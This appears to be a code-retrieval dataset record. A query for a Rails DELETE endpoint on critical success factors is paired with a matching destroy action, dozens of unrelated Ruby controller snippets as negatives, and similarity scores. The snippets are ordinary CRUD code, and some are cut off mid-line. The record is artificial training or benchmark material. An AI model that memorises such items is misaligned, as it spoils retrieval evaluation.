"def update\n respond_to do |format|\n if @competency_unit.update(competency_unit_params)\n format.html { redirect_to certification_scheme_path(@competency_unit.certification_scheme), notice: 'Competency unit was successfully updated.' }\n format.json { render :show, status: :ok, location: @competency_unit }\n else\n format.html { render :edit }\n format.json { render json: @competency_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop_claim = ShopClaim.find(params[:id])\n\n if @shop_claim.update(shop_claim_params)\n head :no_content\n else\n render json: @shop_claim.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:patient_risk_factor][:ethnicity_ids] ||= []\n @patient_risk_factor = PatientRiskFactor.find(params[:id])\n\t@patient = @patient_risk_factor.patient\n\n respond_to do |format|\n if @patient_risk_factor.update_attributes(params[:patient_risk_factor])\n format.html { redirect_to home_path, :notice => 'Data has been succesfully saved. Thanks for your time!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_risk_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @house.update(factor_params)\n format.html { redirect_to @house, notice: 'Factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n claim = @repo.claims.new(user: current_user)\n if claim.save\n redirect_to :back, notice: \"Your request has been sent to owner\"\n else\n flash[:error] = claim.errors.full_messages.join('\\n')\n redirect_to :back\n end\n end",
"def create\n course = Course.find(params[:course_id])\n test = Test.find(params[:test_id])\n respond_to do |format|\n begin\n puts params[:absent].nil?\n i = 0\n Score.where(test: test).each do |score|\n if !score.update(value: (params[:\"absent#{i}\"]? -2 : params[:\"score-input#{i}\"]))\n raise\n end\n i += 1\n end\n rescue => exception\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to course_test_scores_path(course, test), notice: 'Scores were successfully updated.' }\n format.json { render :show, status: :ok, location: course_test_scores_path(course, test) }\n end\n end\n end",
"def update\n ticket = Ticket.find(params[:id])\n status = params[:status]\n\n if status and ticket.update_attributes(status: status)\n render json: {\"notice\"=>\"status updated successfully to '#{status}'\"}\n else\n render json: {\"alert\"=>\"status not updated. check params.\"}\n end\n end",
"def update\n respond_to do |format|\n if @control_list_factor.update(control_list_factor_params)\n format.html { redirect_to control_list_factors_url, notice: '' }\n format.json { render :show, status: :ok, location: @control_list_factor }\n else\n format.html { render :edit }\n format.json { render json: @control_list_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @progress = Progress.find(params[:id])\n\n respond_to do |format|\n if @progress.update_attributes(params[:progress])\n format.json { head :no_content }\n else\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @uni_major = UniMajor.find(params[:id])\n\n respond_to do |format|\n if @uni_major.update_attributes(params[:uni_major])\n format.html { redirect_to @uni_major, notice: 'Uni major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uni_major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_feature = KeyFeature.find(params[:id])\n\n if @key_feature.update(key_feature_params)\n audit(@key_feature, current_user)\n head :no_content\n else\n render json: @key_feature.errors, status: :unprocessable_entity\n end\n end",
"def update\n @scout_requirement.scout.recalc_rank_complete\n respond_to do |format|\n if @scout_requirement.update(scout_requirement_params)\n format.html { redirect_to @scout_requirement, notice: 'Scout requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @scout_requirement }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @scout_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n @cashflow = Cashflow.find(params[:id])\n @cashflow.category_id = params[:category_id]\n @cashflow.account_id = params[:account_id]\n \n respond_to do |format|\n if @cashflow.update_attributes(params[:cashflow])\n format.html { redirect_to @cashflow, notice: 'Cashflow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cashflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n logger.info { \"PARAMS: #{params.inspect}\" }\n project_id, id = params[:id].split('-')\n ticket = Lighthouse::Ticket.find(id, :params => {:project_id => project_id})\n \n # insanely hacky. can't nest json, so don't want to do a willy-nilly merge.\n # move mergeable params to the [:ticket] hash to follow usual rails conventions\n # before merging\n params[:ticket] = {}\n %w(assigned_user_id state milestone_id).each do |field|\n params[:ticket].merge!( field => params.delete(field) ) if params[field]\n end\n logger.info { \"TICKET ATTRS TO UPDATE: #{params[:ticket].inspect}\"}\n \n ticket.attributes.merge!( params[:ticket] )\n ticket.save\n\n respond_to do |format|\n # if @ticket.update_attributes(params[:ticket])\n # flash[:notice] = 'Ticket was successfully updated.'\n # format.html { redirect_to(@ticket) }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def update\n params.permit!\n @power_factor = Power::Factor.find(params[:id])\n\n respond_to do |format|\n if @power_factor.update_attributes(params[:power_factor])\n format.html { redirect_to(@power_factor, :notice => 'Factor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @power_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n if @preceed.update_attributes(params[:preceed])\n format.html { redirect_to @preceed, notice: 'Preceed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @failure = args[:failure] if args.key?(:failure)\n @pending = args[:pending] if args.key?(:pending)\n @success = args[:success] if args.key?(:success)\n end",
"def update!(**args)\n @failure_resource_count = args[:failure_resource_count] if args.key?(:failure_resource_count)\n @success_resource_count = args[:success_resource_count] if args.key?(:success_resource_count)\n end",
"def update\n @chiropractic_compliance = ChiropracticCompliance.find(params[:id])\n\n respond_to do |format|\n if @chiropractic_compliance.update_attributes(params[:chiropractic_compliance])\n format.html { redirect_to @chiropractic_compliance, notice: 'Chiropractic compliance was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chiropractic_compliance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ticket.update(ticket_params)\n @ticket.update_responsible(:status, 'Waiting for Staff Response')\n format.html { redirect_to @ticket, notice: 'Ticket was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @squishee_cup = SquisheeCup.find(params[:id])\n puts params.to_json\n respond_to do |format|\n if @squishee_cup.update_attributes(params[:squishee_cup])\n format.html { redirect_to @squishee_cup, notice: 'Squishee cup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @squishee_cup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @factoid = Factoid.find(params[:id])\n\n respond_to do |format|\n if @factoid.update_attributes(params[:factoid])\n format.html { redirect_to @factoid, notice: 'Factoid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factoid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @court_complex.update(court_complex_params)\n format.html { redirect_to @court_complex, notice: 'Court complex was successfully updated.' }\n format.json { render :show, status: :ok, location: @court_complex }\n else\n format.html { render :edit }\n format.json { render json: @court_complex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @co_independent_trait.update(co_independent_trait_params)\n format.html { redirect_to @co_independent_trait, notice: 'Co independent trait was successfully updated.' }\n format.json { render :show, status: :ok, location: @co_independent_trait }\n else\n format.html { render :edit }\n format.json { render json: @co_independent_trait.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @factor = Factor.new(params[:factor])\n\n respond_to do |format|\n if @factor.save\n format.html { redirect_to @factor, notice: 'Factor was successfully created.' }\n format.json { render json: @factor, status: :created, factor: @factor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @topiccluster = Topiccluster.find(params[:id])\n\n respond_to do |format|\n if @topiccluster.update_attributes(params[:topiccluster])\n format.html { redirect_to(@topiccluster, :notice => 'Topiccluster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topiccluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @requirement.update_attributes(requirement_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if is_adm? && params[:type] == 'complete'\n request = MaintenanceRequest.find(maintenance_request_params[:ticket_no])\n request.app_status = 2\n request.save\n redirect_to maintenance_requests_url\n return\n else\n @maintenance_request = MaintenanceRequest.find(params[:id])\n end\n\n respond_to do |format|\n if @maintenance_request.update(maintenance_request_params)\n format.html { redirect_to @maintenance_request, notice: 'Maintenance request was successfully updated.' }\n format.json { render :show, status: :ok, location: @maintenance_request }\n else\n format.html { render :edit }\n format.json { render json: @maintenance_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @factors_user = FactorsUser.new(params[:factors_user])\n\n respond_to do |format|\n if @factors_user.save\n format.html { redirect_to \"/factors_users/new?factor_id=#{@factors_user.factor_id + 1}\", notice: 'Factors user was successfully created.' }\n format.json { render json: @factors_user, status: :created, location: @factors_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @factors_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @ticket.update(@ticket_params)\n render_success_format('client created correctly', @ticket)\n end\n rescue StandardError => e\n Airbrake.notify(e)\n raise e\n end",
"def update\n @crit_requirement = CritRequirement.find(params[:id])\n\n respond_to do |format|\n if @crit_requirement.update_attributes(params[:crit_requirement])\n format.html { redirect_to(@crit_requirement, :notice => 'Crit requirement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @crit_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_critical\n @critical = Critical.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end",
"def update\n authorize! :update, CompetenceTierGroup\n \n @competence_tier_group.update!(competence_tier_group_params)\n render json: {status: :ok}\n end",
"def update\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n if @clinicalsection.update_attributes(params[:clinicalsection])\n format.html { redirect_to clinicalsections_path, notice: 'Clinical specialty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinicalsection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_progress.update(api_v1_progress_params)\n format.html { redirect_to @api_v1_progress, notice: 'Progress was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_progress }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @scam.result = SCAM_CHECKER.classify scam_params.values.join(' ')\n\n respond_to do |format|\n if @scam.update(scam_params)\n format.html { redirect_to @scam, notice: 'Scam was successfully updated.' }\n format.json { render :show, status: :ok, location: @scam }\n else\n format.html { render :edit }\n format.json { render json: @scam.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.702316",
"0.68707484",
"0.6584947",
"0.6509946",
"0.631188",
"0.61794734",
"0.6138569",
"0.61032444",
"0.59480697",
"0.5888146",
"0.585326",
"0.5845258",
"0.58416766",
"0.58416766",
"0.58416766",
"0.57815325",
"0.57792103",
"0.5764768",
"0.5760554",
"0.571699",
"0.57088935",
"0.5646249",
"0.5642874",
"0.5607047",
"0.56046045",
"0.56033814",
"0.5596318",
"0.5570841",
"0.5570453",
"0.55618584",
"0.5560192",
"0.55341816",
"0.5533659",
"0.5520487",
"0.55169606",
"0.5509489",
"0.54906946",
"0.54835516",
"0.5476929",
"0.5455946",
"0.5419869",
"0.54067725",
"0.54058295",
"0.5389806",
"0.53761345",
"0.5376004",
"0.5372681",
"0.5356149",
"0.5347312",
"0.5345229",
"0.5338074",
"0.5337644",
"0.53296405",
"0.5327709",
"0.53149366",
"0.53011304",
"0.52973455",
"0.52885294",
"0.527934",
"0.52707446",
"0.52580494",
"0.5255553",
"0.5252925",
"0.525114",
"0.52485484",
"0.5241934",
"0.5236493",
"0.5226547",
"0.52239937",
"0.52235466",
"0.5222325",
"0.5214376",
"0.5210284",
"0.5206733",
"0.52039295",
"0.52024025",
"0.51969427",
"0.5196024",
"0.5194895",
"0.5193573",
"0.5192048",
"0.51701224",
"0.51686597",
"0.5160601",
"0.5159515",
"0.5154601",
"0.5151536",
"0.51488084",
"0.51484287",
"0.5145646",
"0.5144571",
"0.5140435",
"0.51384604",
"0.51384604",
"0.5135539",
"0.5131567",
"0.512538",
"0.5125148",
"0.5122589",
"0.5122075"
] | 0.7374729 | 0 |
DELETE /critical_success_factors/1 DELETE /critical_success_factors/1.json | def destroy
@critical_success_factor = CriticalSuccessFactor.find(params[:id])
@critical_success_factor.destroy
respond_to do |format|
format.html { redirect_to critical_success_factors_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @critical_factor = CriticalFactor.find(params[:id])\n @critical_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_factors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n @critical_success_factor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_success_factor_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @critical.destroy\n respond_to do |format|\n format.html { redirect_to criticals_url, notice: 'Critical was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @patient_risk_factor = PatientRiskFactor.find(params[:id])\n @patient_risk_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_risk_factors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stage_certainty_factor.destroy\n respond_to do |format|\n format.html { redirect_to stage_certainty_factors_url, notice: 'Stage certainty factor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @when_factor = WhenFactor.find(params[:id])\n @when_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to(when_factors_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @factor = Factor.find(params[:id])\n @factor.destroy\n\n respond_to do |format|\n format.html { redirect_to factors_url }\n format.json { head :no_content }\n end\n end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @clase_unit.destroy\n respond_to do |format|\n format.html { redirect_to clase_units_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end",
"def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chiropractic_compliance = ChiropracticCompliance.find(params[:id])\n @chiropractic_compliance.destroy\n\n respond_to do |format|\n format.html { redirect_to chiropractic_compliances_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @threshold = Threshold.find(params[:id])\n @threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to thresholds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to \"/dashboard\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n response = HTTParty.delete(url, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n redirect_to units_url, notice: 'Unit was successfully deleted.'\n end",
"def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @critical_question = CriticalQuestion.find(params[:id])\n @critical_question.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @form_factor.destroy\n respond_to do |format|\n format.html { redirect_to form_factors_url, notice: 'Form factor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_progress.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_progresses_url, notice: 'Progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def maintenance_delete(statuspage_id, maintenance_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['maintenance_id'] = maintenance_id\n\n request :method => :post,\n :url => @url + 'maintenance/delete',\n :payload => data\n end",
"def destroy\n @medium_trial = MediumTrial.find(params[:id])\n @medium_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_trials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conductum.destroy\n respond_to do |format|\n format.html { redirect_to conducta_url, notice: 'Conductum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @technological_factor.destroy\n respond_to do |format|\n format.html { redirect_to technological_factors_url, notice: 'Technological factor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accuracy = Accuracy.find(params[:id])\n @accuracy.destroy\n\n respond_to do |format|\n format.html { redirect_to accuracies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @socio_cultural_factor.destroy\n respond_to do |format|\n format.html { redirect_to socio_cultural_factors_url, notice: 'Socio cultural factor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testcase = Testcase.find(params[:id])\n @testcase.destroy\n\n respond_to do |format|\n format.html { redirect_to testcases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @factorial_scene1.destroy\n respond_to do |format|\n format.html { redirect_to factorial_scene1s_url, notice: 'Factorial scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cashflow = Cashflow.find(params[:id])\n @cashflow.destroy\n\n respond_to do |format|\n format.html { redirect_to cashflows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @threshold.destroy\n respond_to do |format|\n format.html { redirect_to thresholds_url, notice: 'Threshold was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clinicalsection = Clinicalsection.find(params[:id])\n @clinicalsection.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicalsections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim.destroy\n respond_to do |format|\n format.html { redirect_to claims_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @health_level.destroy\n\n respond_to do |format|\n format.html { redirect_to health_levels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n respond_to do |format|\n format.html { redirect_to criteria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scout_requirement.destroy\n respond_to do |format|\n format.html { redirect_to scout_requirements_url, notice: 'Scout requirement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixturestat = Fixturestat.find(params[:id])\n @fixturestat.destroy\n\n respond_to do |format|\n format.html { redirect_to fixturestats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n head :no_content\n end",
"def destroy\n @funding_requirement.destroy\n respond_to do |format|\n format.html { redirect_to funding_requirements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @certainty.destroy\n respond_to do |format|\n format.html { redirect_to certainties_url, notice: 'Certainty was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_datum.destroy\n respond_to do |format|\n format.html { redirect_to claim_data_url, notice: 'Claim datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend",
"def destroy\n @delinquency_stat.destroy\n respond_to do |format|\n format.html { redirect_to delinquency_stats_url, notice: 'Delinquency stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @risk_classification = RiskClassification.find(params[:id])\n @risk_classification.destroy\n\n respond_to do |format|\n format.html { redirect_to risk_classifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @three60.destroy\n respond_to do |format|\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"three60\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_stall.destroy\n respond_to do |format|\n format.html { redirect_to test_stalls_url, notice: 'Test stall was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chiropractic_assessment = ChiropracticAssessment.find(params[:id])\n @chiropractic_assessment.destroy\n\n respond_to do |format|\n format.html { redirect_to chiropractic_assessments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @commission_fixing = CommissionFixing.find(params[:id])\n if @commission_fixing.destroy\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(:record=>\"Record not found\")\n end \n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n head :no_content\n end",
"def destroy\n @step = Step.find(params[:id])\n @step.status = \"deleted\"\n @step.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def destroy\n @slab = Slab.find(params[:id])\n @slab.destroy\n\n respond_to do |format|\n format.html { redirect_to slabs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cluster = Cluster.find(params[:id])\n @cluster.destroy\n\n respond_to do |format|\n format.html { redirect_to clusters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize! :manage, @vspec\n metric = @vspec.metric\n @vspec.destroy\n respond_to do |format|\n format.html { redirect_to [metric.service, metric] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dashboard = Dashboard.find(params[:id])\n @dashboard.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dashboard.destroy\n respond_to do |format|\n format.html { redirect_to dashboards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @operations_check = OperationsCheck.find(params[:id])\n @operations_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @heat_lane_result.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @complexity = Complexity.find(params[:id])\n @complexity.destroy\n\n respond_to do |format|\n format.html { redirect_to complexities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @certtest.destroy\n respond_to do |format|\n format.html { redirect_to certtests_url, notice: 'Certtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @smoke_test = SmokeTest.find(params[:id])\n @smoke_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(smoke_tests_url) }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cla.destroy\n respond_to do |format|\n format.html { redirect_to clas_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @assessment_criterion_detail.destroy\n respond_to do |format|\n format.html { redirect_to assessment_criterion_details_url, notice: 'Assessment criterion detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @clinical_course = ClinicalCourse.find(params[:id])\n @clinical_course.destroy\n\n respond_to do |format|\n format.html { redirect_to clinical_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @criterion_grade.destroy\n respond_to do |format|\n format.html { redirect_to criterion_grades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @performance_test = PerformanceTest.find(params[:id])\n @performance_test.destroy\n\n respond_to do |format|\n format.html { redirect_to performance_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @pursuit_metric.destroy\n respond_to do |format|\n format.html { redirect_to pursuit_metrics_url, notice: 'Pursuit metric was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @control_list_factor.block\n respond_to do |format|\n format.html { redirect_to control_list_factors_url, notice: '' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @story = @success_criterion.user_story\n @success_criterion.destroy\n respond_to do |format|\n format.html { redirect_to crits_path(@story), notice: 'Success criterion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @factoid = Factoid.find(params[:id])\n @factoid.destroy\n\n respond_to do |format|\n format.html { redirect_to factoids_url, notice: 'Factoid was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
